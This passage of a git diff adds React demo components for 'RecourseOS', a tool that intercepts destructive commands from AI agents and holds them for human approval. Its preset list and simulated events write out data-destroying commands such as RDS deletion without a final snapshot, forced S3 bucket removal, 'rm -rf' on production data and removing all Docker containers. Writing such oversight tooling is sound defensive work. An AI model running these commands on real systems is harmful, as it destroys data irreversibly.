+ ); +} + +function sleep(ms: number) { return new Promise((r) => setTimeout(r, ms)); } + +export default FullDemo; diff --git a/integrations/flowos-ui/examples/IntegratedDemo.tsx b/integrations/flowos-ui/examples/IntegratedDemo.tsx new file mode 100644 index 0000000..d2123f3 --- /dev/null +++ b/integrations/flowos-ui/examples/IntegratedDemo.tsx @@ -0,0 +1,613 @@ +/** + * Integrated FlowOS + RecourseOS Demo + * + * Full integration showing: + * - DAG visualization with live node states + * - RecourseOS interception events in real-time + * - Consequence drawer for approving/rejecting escalated actions + * - Event log streaming + */ + +import * as React from 'react'; +import { useState, useEffect, useCallback, useRef } from 'react'; + +// ───────────────────────────────────────────────────────────────────────────── +// Types (matching runtime types) +// ───────────────────────────────────────────────────────────────────────────── + +type NodeStatus = 'pending' | 'running' | 'waiting_for_approval' | 'completed' | 'failed' | 'skipped'; +type Verdict = 'approved' | 'blocked' | 'escalated'; + +interface RecourseEvent { + type: 'action_intercepted' | 'action_approved' | 'action_blocked'; + mutationId: string; + mutation?: { + source: string; + command?: string; + }; + verdict?: Verdict; + report?: { + totalMutations: number; + worstRecoverability: { tier: number; label: string }; + needsReview: boolean; + reason: string; + mutations: Array<{ + target: { service?: string; type: string; id?: string }; + action: string; + recoverability: { tier: number; label: string; reasoning?: string }; + }>; + }; + approver?: string; + reason?: string; + timestamp: string; +} + +interface DagNode { + id: string; + name: string; + type: 'task' | 'recourse_node' | 'approval_gate'; + status: NodeStatus; + dependsOn?: string[]; + pendingMutation?: RecourseEvent; +} + +interface LogEntry { + id: string; + type: string; + nodeId: string; + message: string; + timestamp: Date; + data?: unknown; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Demo DAG Definition +// ───────────────────────────────────────────────────────────────────────────── + +const DEMO_DAG: DagNode[] = [ + { id: 'plan', name: 'Plan Cleanup', type: 'task', status: 'pending' }, + { id: 'cleanup-db', name: 'Cleanup Staging DB', type: 'recourse_node', status: 'pending', dependsOn: ['plan'] }, + { id: 'notify', name: 'Send Notification', type: 'task', status: 'pending', dependsOn: ['cleanup-db'] }, +]; + +// ───────────────────────────────────────────────────────────────────────────── +// Styles +// ───────────────────────────────────────────────────────────────────────────── + +const styles = { + container: { + display: 'flex', + flexDirection: 'column' as const, + height: '100vh', + backgroundColor: '#0a0a0a', + color: '#e8e8e8', + fontFamily: 'ui-monospace, SFMono-Regular, "SF Mono", Menlo, monospace', + }, + header: { + padding: '16px 24px', + borderBottom: '1px solid rgba(232, 232, 232, 0.1)', + display: 'flex', + justifyContent: 'space-between', + alignItems: 'center', + }, + title: { + fontSize: '14px', + fontWeight: 500, + letterSpacing: '0.05em', + }, + status: { + fontSize: '11px', + padding: '4px 12px', + borderRadius: '2px', + textTransform: 'uppercase' as const, + letterSpacing: '0.1em', + }, + main: { + display: 'flex', + flex: 1, + overflow: 'hidden', + }, + canvas: { + flex: 1, + padding: '40px', + display: 'flex', + alignItems: 'center', + justifyContent: 'center', + gap: '24px', + }, + sidebar: { + width: '400px', + borderLeft: '1px solid rgba(232, 232, 232, 0.1)', + display: 'flex', + flexDirection: 'column' as const, + }, + drawer: { + flex: 1, + padding: '20px', + borderBottom: '1px solid rgba(232, 232, 232, 0.1)', + overflow: 'auto', + }, + eventLog: { + height: '200px', + padding: '12px', + overflow: 'auto', + fontSize: '11px', + }, + node: { + padding: '16px 24px', + border: '1px solid rgba(232, 232, 232, 0.15)', + borderRadius: '4px', + minWidth: '160px', + textAlign: 'center' as const, + position: 'relative' as const, + }, + arrow: { + color: 'rgba(232, 232, 232, 0.3)', + fontSize: '20px', + }, + button: { + padding: '10px 20px', + border: 'none', + borderRadius: '2px', + fontSize: '11px', + fontWeight: 500, + letterSpacing: '0.1em', + textTransform: 'uppercase' as const, + cursor: 'pointer', + fontFamily: 'inherit', + }, + logEntry: { + padding: '6px 0', + borderBottom: '1px solid rgba(232, 232, 232, 0.05)', + }, +}; + +// ───────────────────────────────────────────────────────────────────────────── +// Node Component +// ───────────────────────────────────────────────────────────────────────────── + +function NodeBox({ node, onClick }: { node: DagNode; onClick: () => void }) { + const statusColors: Record = { + pending: 'rgba(232, 232, 232, 0.3)', + running: '#00d4ff', + waiting_for_approval: '#ffb800', + completed: '#00ff66', + failed: '#ff5f57', + skipped: 'rgba(232, 232, 232, 0.2)', + }; + + const borderColor = statusColors[node.status]; + const isClickable = node.status === 'waiting_for_approval'; + + return ( +
+
+ {node.type.replace('_', ' ')} +
+
{node.name}
+
+ {node.status.replace('_', ' ')} +
+ {node.status === 'waiting_for_approval' && ( +
+ )} +
+ ); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Consequence Drawer +// ───────────────────────────────────────────────────────────────────────────── + +function ConsequenceDrawer({ + event, + onApprove, + onReject, +}: { + event: RecourseEvent | null; + onApprove: () => void; + onReject: () => void; +}) { + if (!event || event.type !== 'action_intercepted') { + return ( +
+
+ No pending actions requiring approval +
+
+ ); + } + + const report = event.report; + const mutation = event.mutation; + + return ( +
+
+
+ Action Intercepted +
+
+ Awaiting Approval +
+
+ + {/* Command */} +
+
+ Command +
+
+ {mutation?.command || 'Unknown command'} +
+
+ + {/* Risk Assessment */} + {report && ( + <> +
+
+ Risk Assessment +
+
+ + {event.verdict} + + + {report.worstRecoverability.label} + +
+
+ +
+
+ Reason +
+
+ {report.reason} +
+
+ + {/* Affected Resources */} +
+
+ Affected Resources +
+ {report.mutations.map((m, i) => ( +
+
+ {m.target.type} → {m.action} +
+
+ {m.recoverability.reasoning || m.recoverability.label} +
+
+ ))} +
+ + )} + + {/* Actions */} +
+ + +
+
+ ); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Event Log +// ───────────────────────────────────────────────────────────────────────────── + +function EventLog({ entries }: { entries: LogEntry[] }) { + const bottomRef = useRef(null); + + useEffect(() => { + bottomRef.current?.scrollIntoView({ behavior: 'smooth' }); + }, [entries.length]); + + return ( +
+
+ Event Log +
+ {entries.map((entry) => ( +
+ + {entry.timestamp.toLocaleTimeString()} + + + [{entry.nodeId}] + + {entry.message} +
+ ))} +
+
+ ); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Main Demo Component +// ───────────────────────────────────────────────────────────────────────────── + +export function IntegratedDemo() { + const [nodes, setNodes] = useState(DEMO_DAG); + const [runStatus, setRunStatus] = useState<'idle' | 'running' | 'completed' | 'failed'>('idle'); + const [pendingEvent, setPendingEvent] = useState(null); + const [logs, setLogs] = useState([]); + const [pendingMutationId, setPendingMutationId] = useState(null); + const approvalResolver = useRef<((decision: { approved: boolean; approver?: string; reason?: string }) => void) | null>(null); + + const addLog = useCallback((nodeId: string, type: string, message: string, data?: unknown) => { + setLogs((prev) => [...prev, { + id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`, + type, + nodeId, + message, + timestamp: new Date(), + data, + }]); + }, []); + + const updateNode = useCallback((nodeId: string, updates: Partial) => { + setNodes((prev) => prev.map((n) => n.id === nodeId ? { ...n, ...updates } : n)); + }, []); + + const runDag = useCallback(async () => { + // Reset state + setNodes(DEMO_DAG.map((n) => ({ ...n, status: 'pending' as NodeStatus }))); + setLogs([]); + setPendingEvent(null); + setRunStatus('running'); + addLog('system', 'run_start', 'DAG execution started'); + + // Simulate DAG execution + try { + // Node 1: Plan + updateNode('plan', { status: 'running' }); + addLog('plan', 'node_start', 'Starting plan task'); + await sleep(800); + updateNode('plan', { status: 'completed' }); + addLog('plan', 'node_complete', 'Plan completed'); + + // Node 2: Cleanup DB (recourse_node) + updateNode('cleanup-db', { status: 'running' }); + addLog('cleanup-db', 'node_start', 'Starting recourse_node execution'); + await sleep(500); + + // Simulate RecourseOS interception + const interceptEvent: RecourseEvent = { + type: 'action_intercepted', + mutationId: `mut-${Date.now()}`, + mutation: { + source: 'shell', + command: 'aws rds delete-db-instance --db-instance-identifier staging-db --skip-final-snapshot', + }, + verdict: 'escalated', + report: { + totalMutations: 1, + worstRecoverability: { tier: 5, label: 'needs-review' }, + needsReview: true, + reason: 'RDS instance deletion with skip-final-snapshot requires human approval', + mutations: [{ + target: { service: 'aws-rds', type: 'rds_db_instance', id: 'staging-db' }, + action: 'delete', + recoverability: { + tier: 5, + label: 'needs-review', + reasoning: 'Cannot determine recoverability without live instance evidence', + }, + }], + }, + timestamp: new Date().toISOString(), + }; + + addLog('cleanup-db', 'action_intercepted', 'RecourseOS intercepted dangerous action', interceptEvent); + updateNode('cleanup-db', { status: 'waiting_for_approval', pendingMutation: interceptEvent }); + setPendingEvent(interceptEvent); + setPendingMutationId(interceptEvent.mutationId); + + // Wait for approval + const decision = await new Promise<{ approved: boolean; approver?: string; reason?: string }>((resolve) => { + approvalResolver.current = resolve; + }); + + if (decision.approved) { + addLog('cleanup-db', 'action_approved', `Action approved by ${decision.approver || 'user'}`); + updateNode('cleanup-db', { status: 'completed', pendingMutation: undefined }); + setPendingEvent(null); + + // Node 3: Notify + updateNode('notify', { status: 'running' }); + addLog('notify', 'node_start', 'Starting notification task'); + await sleep(500); + updateNode('notify', { status: 'completed' }); + addLog('notify', 'node_complete', 'Notification sent'); + + setRunStatus('completed'); + addLog('system', 'run_complete', 'DAG execution completed successfully'); + } else { + addLog('cleanup-db', 'action_blocked', `Action rejected: ${decision.reason || 'User rejected'}`); + updateNode('cleanup-db', { status: 'failed', pendingMutation: undefined }); + updateNode('notify', { status: 'skipped' }); + setPendingEvent(null); + setRunStatus('failed'); + addLog('system', 'run_failed', 'DAG execution failed - action rejected'); + } + } catch (error) { + setRunStatus('failed'); + addLog('system', 'run_error', `Error: ${error}`); + } + }, [addLog, updateNode]); + + const handleApprove = useCallback(() => { + if (approvalResolver.current) { + approvalResolver.current({ approved: true, approver: 'demo-user@flowos.dev' }); + approvalResolver.current = null; + } + }, []); + + const handleReject = useCallback(() => { + if (approvalResolver.current) { + approvalResolver.current({ approved: false, reason: 'Rejected by user' }); + approvalResolver.current = null; + } + }, []); + + const statusColors = { + idle: 'rgba(232, 232, 232, 0.5)', + running: '#00d4ff', + completed: '#00ff66', + failed: '#ff5f57', + }; + + return ( +
+ {/* Header */} +
+
+ FlowOS + RecourseOS + + Database Cleanup Pipeline + +
+
+ + {runStatus} + + +
+
+ + {/* Main */} +
+ {/* DAG Canvas */} +
+ {nodes.map((node, i) => ( + + { + if (node.pendingMutation) { + setPendingEvent(node.pendingMutation); + } + }} + /> + {i < nodes.length - 1 && } + + ))} +
+ + {/* Sidebar */} +
+ + +
+
+ + {/* Pulse animation */} + +
+ ); +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +export default IntegratedDemo; diff --git a/integrations/flowos-ui/examples/LiveDemo.tsx b/integrations/flowos-ui/examples/LiveDemo.tsx new file mode 100644 index 0000000..4db0bef --- /dev/null +++ b/integrations/flowos-ui/examples/LiveDemo.tsx @@ -0,0 +1,264 @@ +/** + * FlowOS + RecourseOS LIVE Demo + * + * Connects to the API server and shows real RecourseOS evaluations. + * + * When Claude Code (or any client) sends a mutation intent to the server, + * it appears here in real-time for approval. + */ + +import * as React from 'react'; +import { + FlowLayout, + type FlowNode, + type LogEvent, + type RunStatus, +} from '../src/index'; + +const API_URL = 'http://localhost:3099'; + +// ───────────────────────────────────────────────────────────────────────────── +// Types from server +// ───────────────────────────────────────────────────────────────────────────── + +interface PendingEvaluation { + id: string; + intent: { + source: string; + command?: string; + tool?: string; + server?: string; + arguments?: Record; + }; + result: { + decision: 'allow' | 'warn' | 'escalate' | 'block'; + reason: string; + permitted: boolean; + approvalRequested: boolean; + summary: { + totalMutations: number; + worstRecoverability: { tier: number; label: string }; + needsReview: boolean; + hasUnrecoverable: boolean; + }; + mutations: Array<{ + target: { service?: string; type: string; id?: string }; + action: string; + recoverability: { tier: number; label: string; reasoning?: string }; + }>; + costEstimate?: { monthlyCost: number; currency: string }; + timing?: { totalMs: number; evaluationMs: number }; + }; + status: 'pending' | 'approved' | 'rejected'; + createdAt: string; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Live Demo Component +// ───────────────────────────────────────────────────────────────────────────── + +export function LiveDemo() { + const [evaluations, setEvaluations] = React.useState([]); + const [events, setEvents] = React.useState([]); + const [selectedNodeId, setSelectedNodeId] = React.useState(null); + const [loading, setLoading] = React.useState(false); + const [connected, setConnected] = React.useState(false); + + // Add event helper + const addEvent = React.useCallback((event: Omit) => { + setEvents(prev => [ + ...prev, + { + ...event, + id: `evt-${Date.now()}-${Math.random().toString(36).slice(2, 7)}`, + timestamp: new Date(), + }, + ].slice(-100)); // Keep last 100 events + }, []); + + // Connect to SSE for real-time updates + React.useEffect(() => { + const eventSource = new EventSource(`${API_URL}/events`); + + eventSource.onopen = () => { + setConnected(true); + addEvent({ type: 'info', message: 'Connected to RecourseOS server' }); + }; + + eventSource.onmessage = (event) => { + const data = JSON.parse(event.data); + + if (data.type === 'connected') { + return; + } + + if (data.id === 'clear') { + setEvaluations([]); + addEvent({ type: 'info', message: 'Evaluations cleared' }); + return; + } + + // Update or add evaluation + setEvaluations(prev => { + const existing = prev.findIndex(e => e.id === data.id); + if (existing >= 0) { + const updated = [...prev]; + updated[existing] = data; + return updated; + } + return [data, ...prev]; + }); + + // Add event based on status + if (data.status === 'pending') { + addEvent({ + type: 'consequence_evaluated', + nodeId: data.id, + message: `RecourseOS: ${data.result.decision}`, + }); + if (data.result.approvalRequested) { + addEvent({ + type: 'approval_requested', + nodeId: data.id, + details: 'awaiting user', + }); + } + // Auto-select new pending evaluations + if (data.result.decision === 'escalate' || data.result.decision === 'block') { + setSelectedNodeId(data.id); + } + } else if (data.status === 'approved') { + addEvent({ type: 'approval_granted', nodeId: data.id }); + } else if (data.status === 'rejected') { + addEvent({ type: 'approval_denied', nodeId: data.id }); + } + }; + + eventSource.onerror = () => { + setConnected(false); + addEvent({ type: 'error', message: 'Disconnected from server' }); + }; + + // Initial fetch + fetch(`${API_URL}/evaluations`) + .then(r => r.json()) + .then(data => setEvaluations(data)) + .catch(() => {}); + + return () => eventSource.close(); + }, [addEvent]); + + // Convert evaluations to FlowNodes + const nodes: FlowNode[] = React.useMemo(() => { + return evaluations.map(evaluation => { + const statusMap: Record = { + pending: evaluation.result.decision === 'block' ? 'failed' : 'waiting', + approved: 'completed', + rejected: 'failed', + }; + + // Format the intent for display + let intentLabel = evaluation.intent.source; + if (evaluation.intent.command) { + intentLabel = evaluation.intent.command.slice(0, 40) + (evaluation.intent.command.length > 40 ? '...' : ''); + } else if (evaluation.intent.tool) { + intentLabel = `${evaluation.intent.server || 'mcp'}:${evaluation.intent.tool}`; + } + + return { + id: evaluation.id, + name: intentLabel, + status: statusMap[evaluation.status] || 'pending', + hasConsequenceGate: true, + mutationIntent: { + source: evaluation.intent.source, + command: evaluation.intent.command, + tool: evaluation.intent.tool, + }, + consequenceReport: { + decision: evaluation.result.decision, + reason: evaluation.result.reason, + permitted: evaluation.result.permitted, + approvalRequested: evaluation.result.approvalRequested, + summary: evaluation.result.summary, + mutations: evaluation.result.mutations, + costEstimate: evaluation.result.costEstimate, + timing: evaluation.result.timing, + }, + }; + }); + }, [evaluations]); + + // Handle approve + const handleApprove = React.useCallback(async (nodeId: string) => { + setLoading(true); + try { + await fetch(`${API_URL}/approve/${nodeId}`, { method: 'POST' }); + } catch (error) { + addEvent({ type: 'error', message: `Approve failed: ${error}` }); + } + setLoading(false); + setSelectedNodeId(null); + }, [addEvent]); + + // Handle reject + const handleReject = React.useCallback(async (nodeId: string) => { + setLoading(true); + try { + await fetch(`${API_URL}/reject/${nodeId}`, { method: 'POST' }); + } catch (error) { + addEvent({ type: 'error', message: `Reject failed: ${error}` }); + } + setLoading(false); + setSelectedNodeId(null); + }, [addEvent]); + + // Determine run status + const runStatus: RunStatus = React.useMemo(() => { + if (!connected) return 'idle'; + const pending = evaluations.filter(e => e.status === 'pending'); + const rejected = evaluations.filter(e => e.status === 'rejected'); + if (rejected.length > 0) return 'failed'; + if (pending.length > 0) return 'paused'; + if (evaluations.length > 0) return 'completed'; + return 'running'; + }, [evaluations, connected]); + + return ( +
+ {/* Connection status banner */} + {!connected && ( +
+ Not connected to server. Run: npm run server +
+ )} + + {/* Empty state */} + {connected && evaluations.length === 0 && ( +
+ Waiting for mutations... Have Claude Code run a destructive command! +
+ )} + + 0 ? evaluations.length : undefined} + runStatus={runStatus} + nodes={nodes} + events={events} + selectedNodeId={selectedNodeId} + onNodeSelect={setSelectedNodeId} + onApprove={handleApprove} + onReject={handleReject} + onRerun={() => { + fetch(`${API_URL}/clear`, { method: 'POST' }); + setSelectedNodeId(null); + }} + showEventLog={true} + loading={loading} + /> +
+ ); +} + +export default LiveDemo; diff --git a/integrations/flowos-ui/examples/RealDemo.tsx b/integrations/flowos-ui/examples/RealDemo.tsx new file mode 100644 index 0000000..25ecf4e --- /dev/null +++ b/integrations/flowos-ui/examples/RealDemo.tsx @@ -0,0 +1,571 @@ +/** + * Real FlowOS + RecourseOS Demo + * + * Actually calls RecourseOS via the API server - real evaluations, + * real verdicts, real consequences. + * + * Supports: + * - Shell commands (aws, terraform, kubectl, docker, rm, etc.) + * - MCP tool calls + * - Custom mutation intents + */ + +import * as React from 'react'; +import { useState, useEffect, useCallback, useRef } from 'react'; + +// ───────────────────────────────────────────────────────────────────────────── +// Types +// ───────────────────────────────────────────────────────────────────────────── + +interface MutationIntent { + source: 'shell' | 'mcp' | 'terraform'; + command?: string; + server?: string; + tool?: string; + arguments?: Record; +} + +interface EvaluationResult { + id: string; + intent: MutationIntent; + result: { + decision: string; + reason: string; + permitted: boolean; + summary: { + totalMutations: number; + worstRecoverability: { tier: number; label: string }; + needsReview: boolean; + }; + mutations: Array<{ + target: { service?: string; type: string; id?: string }; + action: string; + recoverability: { tier: number; label: string; reasoning?: string }; + }>; + timing?: { totalMs: number }; + evidenceFetched?: { source: string; resources: string[] }; + }; + status: 'pending' | 'approved' | 'rejected'; + createdAt: string; +} + +interface LogEntry { + id: string; + type: 'info' | 'evaluation' | 'approved' | 'rejected' | 'error'; + message: string; + timestamp: Date; +} + +// ───────────────────────────────────────────────────────────────────────────── +// API Client +// ───────────────────────────────────────────────────────────────────────────── + +const API_URL = 'http://localhost:3099'; + +async function evaluate(intent: MutationIntent, description?: string): Promise { + const res = await fetch(`${API_URL}/evaluate`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ intent, description }), + }); + if (!res.ok) throw new Error(`API error: ${res.status}`); + return res.json(); +} + +async function approve(id: string): Promise { + const res = await fetch(`${API_URL}/approve/${id}`, { method: 'POST' }); + if (!res.ok) throw new Error(`API error: ${res.status}`); + return res.json(); +} + +async function reject(id: string): Promise { + const res = await fetch(`${API_URL}/reject/${id}`, { method: 'POST' }); + if (!res.ok) throw new Error(`API error: ${res.status}`); + return res.json(); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Styles +// ───────────────────────────────────────────────────────────────────────────── + +const styles = { + container: { + display: 'flex', + flexDirection: 'column' as const, + height: '100vh', + backgroundColor: '#0a0a0a', + color: '#e8e8e8', + fontFamily: 'ui-monospace, SFMono-Regular, "SF Mono", Menlo, monospace', + }, + header: { + padding: '16px 24px', + borderBottom: '1px solid rgba(232, 232, 232, 0.1)', + display: 'flex', + justifyContent: 'space-between', + alignItems: 'center', + }, + main: { + display: 'flex', + flex: 1, + overflow: 'hidden', + }, + inputPane: { + flex: 1, + padding: '24px', + display: 'flex', + flexDirection: 'column' as const, + gap: '16px', + }, + sidebar: { + width: '450px', + borderLeft: '1px solid rgba(232, 232, 232, 0.1)', + display: 'flex', + flexDirection: 'column' as const, + overflow: 'hidden', + }, + commandInput: { + width: '100%', + padding: '16px', + backgroundColor: 'rgba(0, 0, 0, 0.4)', + border: '1px solid rgba(232, 232, 232, 0.15)', + borderRadius: '4px', + color: '#e8e8e8', + fontSize: '14px', + fontFamily: 'inherit', + outline: 'none', + resize: 'none' as const, + }, + button: { + padding: '12px 24px', + border: 'none', + borderRadius: '2px', + fontSize: '12px', + fontWeight: 500, + letterSpacing: '0.1em', + textTransform: 'uppercase' as const, + cursor: 'pointer', + fontFamily: 'inherit', + }, + presetButton: { + padding: '8px 16px', + backgroundColor: 'rgba(232, 232, 232, 0.05)', + border: '1px solid rgba(232, 232, 232, 0.1)', + borderRadius: '2px', + color: 'rgba(232, 232, 232, 0.7)', + fontSize: '11px', + cursor: 'pointer', + fontFamily: 'inherit', + }, + drawer: { + flex: 1, + padding: '20px', + overflow: 'auto', + borderBottom: '1px solid rgba(232, 232, 232, 0.1)', + }, + log: { + height: '180px', + padding: '12px', + overflow: 'auto', + fontSize: '11px', + }, +}; + +// ───────────────────────────────────────────────────────────────────────────── +// Preset Commands +// ───────────────────────────────────────────────────────────────────────────── + +const PRESETS = [ + { label: 'RDS Delete', command: 'aws rds delete-db-instance --db-instance-identifier prod-db --skip-final-snapshot' }, + { label: 'S3 Delete', command: 'aws s3 rb s3://customer-data-bucket --force' }, + { label: 'EC2 Terminate', command: 'aws ec2 terminate-instances --instance-ids i-1234567890abcdef0' }, + { label: 'kubectl delete', command: 'kubectl delete deployment production-api -n default' }, + { label: 'rm -rf', command: 'rm -rf /var/data/production/*' }, + { label: 'docker rm', command: 'docker rm -f $(docker ps -aq)' }, + { label: 'Safe: S3 List', command: 'aws s3 ls s3://my-bucket' }, + { label: 'Safe: kubectl get', command: 'kubectl get pods -n default' }, +]; + +// ───────────────────────────────────────────────────────────────────────────── +// Components +// ───────────────────────────────────────────────────────────────────────────── + +function ResultDrawer({ + evaluation, + onApprove, + onReject, + loading, +}: { + evaluation: EvaluationResult | null; + onApprove: () => void; + onReject: () => void; + loading: boolean; +}) { + if (loading) { + return ( +
+
+ Evaluating with RecourseOS... +
+
+ ); + } + + if (!evaluation) { + return ( +
+
+ Enter a command and click Evaluate to see RecourseOS analysis +
+
+ ); + } + + const { result, status } = evaluation; + const decisionColors: Record = { + allow: '#00ff66', + warn: '#ffb800', + escalate: '#ffb800', + block: '#ff5f57', + }; + const decisionColor = decisionColors[result.decision] || '#e8e8e8'; + + return ( +
+ {/* Header */} +
+
+ RecourseOS Verdict +
+
+ + {result.decision} + + {status !== 'pending' && ( + + {status} + + )} +
+
+ + {/* Timing & Evidence */} +
+ {result.timing && ( + + {result.timing.totalMs}ms + + )} + {result.evidenceFetched && ( + + Live evidence: {result.evidenceFetched.resources.join(', ')} + + )} +
+ + {/* Reason */} +
+
+ Assessment +
+
+ {result.reason} +
+
+ + {/* Recoverability */} +
+
+ Recoverability +
+ = 4 ? 'rgba(255, 95, 87, 0.15)' : 'rgba(255, 184, 0, 0.15)', + color: result.summary.worstRecoverability.tier >= 4 ? '#ff5f57' : '#ffb800', + borderRadius: '2px', + }}> + {result.summary.worstRecoverability.label} + +
+ + {/* Mutations */} +
+
+ Detected Mutations ({result.mutations.length}) +
+ {result.mutations.map((m, i) => ( +
+
+ {m.target.service || m.target.type} + + {m.action} + {m.target.id && ({m.target.id})} +
+ {m.recoverability.reasoning && ( +
+ {m.recoverability.reasoning} +
+ )} +
+ ))} +
+ + {/* Actions */} + {status === 'pending' && (result.decision === 'escalate' || result.decision === 'warn') && ( +
+ + +
+ )} +
+ ); +} + +function EventLog({ entries }: { entries: LogEntry[] }) { + const bottomRef = useRef(null); + useEffect(() => { + bottomRef.current?.scrollIntoView({ behavior: 'smooth' }); + }, [entries.length]); + + const colors: Record = { + info: 'rgba(232, 232, 232, 0.6)', + evaluation: '#00d4ff', + approved: '#00ff66', + rejected: '#ff5f57', + error: '#ff5f57', + }; + + return ( +
+
+ Activity Log +
+ {entries.map((e) => ( +
+ + {e.timestamp.toLocaleTimeString()} + + {e.message} +
+ ))} +
+
+ ); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Main Component +// ───────────────────────────────────────────────────────────────────────────── + +export function RealDemo() { + const [command, setCommand] = useState(''); + const [evaluation, setEvaluation] = useState(null); + const [loading, setLoading] = useState(false); + const [logs, setLogs] = useState([]); + const [connected, setConnected] = useState(false); + + const addLog = useCallback((type: LogEntry['type'], message: string) => { + setLogs((prev) => [...prev, { + id: `log-${Date.now()}`, + type, + message, + timestamp: new Date(), + }]); + }, []); + + // Check API connection + useEffect(() => { + fetch(`${API_URL}/health`) + .then((res) => res.json()) + .then((data) => { + setConnected(true); + addLog('info', `Connected to RecourseOS API (AWS: ${data.awsEnabled ? 'enabled' : 'disabled'})`); + }) + .catch(() => { + setConnected(false); + addLog('error', 'Cannot connect to API server at localhost:3099'); + }); + }, [addLog]); + + const handleEvaluate = useCallback(async () => { + if (!command.trim()) return; + + setLoading(true); + setEvaluation(null); + addLog('info', `Evaluating: ${command.slice(0, 50)}...`); + + try { + const result = await evaluate( + { source: 'shell', command }, + command.slice(0, 50) + ); + setEvaluation(result); + addLog('evaluation', `Verdict: ${result.result.decision.toUpperCase()} - ${result.result.reason.slice(0, 60)}...`); + } catch (err) { + addLog('error', `Evaluation failed: ${err}`); + } finally { + setLoading(false); + } + }, [command, addLog]); + + const handleApprove = useCallback(async () => { + if (!evaluation) return; + try { + const result = await approve(evaluation.id); + setEvaluation(result); + addLog('approved', `Approved: ${evaluation.id}`); + } catch (err) { + addLog('error', `Approval failed: ${err}`); + } + }, [evaluation, addLog]); + + const handleReject = useCallback(async () => { + if (!evaluation) return; + try { + const result = await reject(evaluation.id); + setEvaluation(result); + addLog('rejected', `Rejected: ${evaluation.id}`); + } catch (err) { + addLog('error', `Rejection failed: ${err}`); + } + }, [evaluation, addLog]); + + const handlePreset = useCallback((cmd: string) => { + setCommand(cmd); + setEvaluation(null); + }, []); + + return ( +
+ {/* Header */} +
+
+ + RecourseOS + + + Real-time Consequence Evaluation + +
+
+ {connected ? 'Connected' : 'Disconnected'} +
+
+ + {/* Main */} +
+ {/* Input Pane */} +
+
+
+ Enter Command +
+